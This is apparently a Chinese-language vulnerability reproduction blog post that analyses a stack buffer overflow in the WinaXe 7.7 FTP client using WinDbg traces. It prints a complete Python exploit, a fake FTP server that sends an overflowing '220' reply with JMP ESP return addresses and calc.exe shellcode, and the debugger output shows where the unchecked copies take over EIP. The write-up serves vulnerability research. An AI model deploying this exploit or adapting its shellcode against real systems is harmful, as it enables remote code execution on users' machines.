这个漏洞是K0师傅博客上复现过的漏洞
之前在分析Windows漏洞的时候,我会非常依赖IDA的反编译,但如果漏洞触发的逻辑比较复杂,那分析出漏洞原因和漏洞触发点的过程会就会比较费力。
这里完全利用windbg来进行分析来确定漏洞产生的原因,漏洞的触发点,以及POC的编写逻辑,另外非常感谢K0师傅提供的分析思路
import socket,struct
#WinaXe v7.7 FTP Client 'Service Ready' Command Buffer Overflow Exploit
#Discovery hyp3rlinx
#ISR: ApparitionSec
#hyp3rlinx.altervista.org
#shellcode to pop calc.exe Windows 7 SP1
sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65"
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")
eip=struct.pack('<L',0x68084A6F) #POP ECX RET
jmpesp=struct.pack('<L',0x68017296) #JMP ESP
#We will do POP ECX RET and place a JMP ESP address at the RET address that will jump to shellcode.
payload="A"*2061+eip+jmpesp+"\x90"*10+sc+"\x90"*20 #Server Ready '220' Exploit
port = 21
s = socket.socket()
host = '127.0.0.1'
s.bind((host, port))
s.listen(5)
print 'Evil FTPServer listening...'
while True:
conn, addr = s.accept()
conn.send('220'+payload+'\r\n')
conn.close()
使用POC会发现直接弹出了计算器,这里由于我使用环境和这个POC作者的环境不同,POC里的eip并没有被使用,修改jmpesp,程序成功crash,用kb查看到栈回溯,ftp+0x2cc32即为漏洞触发路径上的一个返回地址
0:001> g
!SETTRUE 0x680d0858(ff0.468): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
02e2d4e8 000a add byte ptr [edx],cl ds:002b:41414141=??
0:001:x86> kb
*** WARNING: Unable to verify checksum for C:\Users\Public\Program Files\LabF.com\WinaXe\ftp.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\Public\Program Files\LabF.com\WinaXe\ftp.exe
ChildEBP RetAddr Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
02e2d4e8 0042cc32 41303232 41414141 41414141 0x2e2d4e8
02e2d4ec 41303232 41414141 41414141 41414141 ftp+0x2cc32
02e2d4f0 41414141 41414141 41414141 41414141 0x41303232
02e2d4f4 41414141 41414141 41414141 41414141 0x41414141
0042cc2b 89e0 mov eax,esp
0042cc2d e86579fdff call ftp+0x4597 (00404597)
0042cc32 e918ffffff jmp ftp+0x2cb4f (0042cb4f)
步入 ftp+0x4597 (00404597)函数,并单步发现是 image00000000_00400000+0x4502 (00404502)导致的crash
0:001:x86>
image00000000_00400000+0x45a9:
004045a9 e854ffffff call image00000000_00400000+0x4502 (00404502)
更改POC中的jmpesp的值为原来的值,重新执行POC,并步入image00000000_00400000+0x4502 (00404502)函数,可以发现函数ret时已经成功跳转到我们布置的jmpesp处,所以漏洞触发点即为004045a9处的函数调用
0:001:x86>
image00000000_00400000+0x4595:
00404595 5b pop ebx
0:001:x86>
image00000000_00400000+0x4596:
00404596 c3 ret
0:001:x86>
*** WARNING: Unable to verify checksum for C:\Users\Public\Program Files\LabF.com\WinaXe\WCMDPA10.dll
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\Public\Program Files\LabF.com\WinaXe\WCMDPA10.dll
WCMDPA10+0x17296:
68017296 54 push esp
0:001:x86>
WCMDPA10+0x17297:
68017297 c20400 ret 4
接下来分析漏洞产生的原因
为了找到漏洞产生的原因,这里再次断到0042cc2d,发现栈已经被破坏,说明漏洞原因在0042cc2d之前,因此更改POC,使其不会crash,找到0042cc2d的上层函数 0042c17f
0042cc2b 89e0 mov eax,esp
0042cc2d e86579fdff call ftp+0x4597 (00404597)
0042cc32 e918ffffff jmp ftp+0x2cb4f (0042cb4f)
0:001:x86>
image00000000_00400000+0x2c99a:
0042c99a c3 ret
0:001:x86>
image00000000_00400000+0x2c184:
0042c184 83f8ff cmp eax,0FFFFFFFFh
0:001:x86> ub 0042c184
image00000000_00400000+0x2c166:
0042c166 0fbfd3 movsx edx,bx
0042c169 89f8 mov eax,edi
0042c16b 8915dce84500 mov dword ptr [image00000000_00400000+0x5e8dc (0045e8dc)],edx
0042c171 e8caf6ffff call image00000000_00400000+0x2b840 (0042b840)
0042c176 a300514600 mov dword ptr [image00000000_00400000+0x65100 (00465100)],eax
0042c17b 85c0 test eax,eax
0042c17d 7c6e jl image00000000_00400000+0x2c1ed (0042c1ed)
0042c17f e80c070000 call image00000000_00400000+0x2c890 (0042c890)
进入0042c17f,并单步调试, 调试过程中发现在栈中复制值的情况,且没有检查长度,只判断了是否为结束符
!SETTRUE 0x680d0858Breakpoint 0 hit
image00000000_00400000+0x2c17f:
0042c17f e80c070000 call image00000000_00400000+0x2c890 (0042c890)
0:001:x86> t
image00000000_00400000+0x2c890:
0042c890 53 push ebx
0:001:x86> u 0042cbed L10
image00000000_00400000+0x2cbed:
0042cbed 8db42404200000 lea esi,[esp+2004h]
0042cbf4 89e7 mov edi,esp
0042cbf6 57 push edi
0042cbf7 8a06 mov al,byte ptr [esi]
0042cbf9 8807 mov byte ptr [edi],al
0042cbfb 3c00 cmp al,0
0042cbfd 7410 je image00000000_00400000+0x2cc0f (0042cc0f)
0042cbff 8a4601 mov al,byte ptr [esi+1]
0042cc02 83c602 add esi,2
0042cc05 884701 mov byte ptr [edi+1],al
0042cc08 83c702 add edi,2
0042cc0b 3c00 cmp al,0
0042cc0d 75e8 jne image00000000_00400000+0x2cbf7 (0042cbf7)
0042cc0f 5f pop edi
继续分析发现上面的溢出并不是后续crash的直接原因,跟踪发现在004045a9的函数内部,还有一次复制到栈上的过程,这一过程直接导致了004045a9在ret时eip被控制
漏洞产生和触发的具体的逻辑如下
0042c17f {
0042cbed edi 2 esi 复制数据到栈上
0042cc2d {
004045a9 { 触发漏洞的函数
00404524 { 再次复制数据到栈上 042fd4ec <= 漏洞产生点
0:001:x86> u 00430832 L10
image00000000_00400000+0x30832:
00430832 8a0a mov cl,byte ptr [edx]
00430834 8808 mov byte ptr [eax],cl
00430836 80f900 cmp cl,0
00430839 7411 je image00000000_00400000+0x3084c (0043084c)
0043083b 8a4a01 mov cl,byte ptr [edx+1]
0043083e 83c202 add edx,2
00430841 884801 mov byte ptr [eax+1],cl
00430844 83c002 add eax,2
00430847 80f900 cmp cl,0
0043084a 75e6 jne image00000000_00400000+0x30832 (00430832)
0043084c 58 pop eax
0043084d 59 pop ecx
0043084e c3 ret
}
ret <= 漏洞触发点
}
}
}
POC即控制eip之后通过jmp esp 将eip 转移到栈上执行shellcode即可
0:001:x86> r
eax=00000000 ebx=68084a6f ecx=41414141 edx=41414141 esi=41414141 edi=41414141
eip=00404596 esp=043fd4e4 ebp=00000899 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
image00000000_00400000+0x4596:
00404596 c3 ret
0:001:x86> p
WCMDPA10+0x17296:
68017296 54 push esp
0:001:x86> r
eax=00000000 ebx=68084a6f ecx=41414141 edx=41414141 esi=41414141 edi=41414141
eip=68017296 esp=043fd4e8 ebp=00000899 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202
WCMDPA10+0x17296:
68017296 54 push esp
0:001:x86> p
WCMDPA10+0x17297:
68017297 c20400 ret 4
0:001:x86> u esp
043fd4e4 e8d43f0490 call 944414bd
043fd4e9 90 nop
043fd4ea 90 nop
043fd4eb 90 nop
043fd4ec 90 nop
043fd4ed 90 nop
043fd4ee 90 nop
043fd4ef 90 nop
0:001:x86> p
043fd4e8 90 nop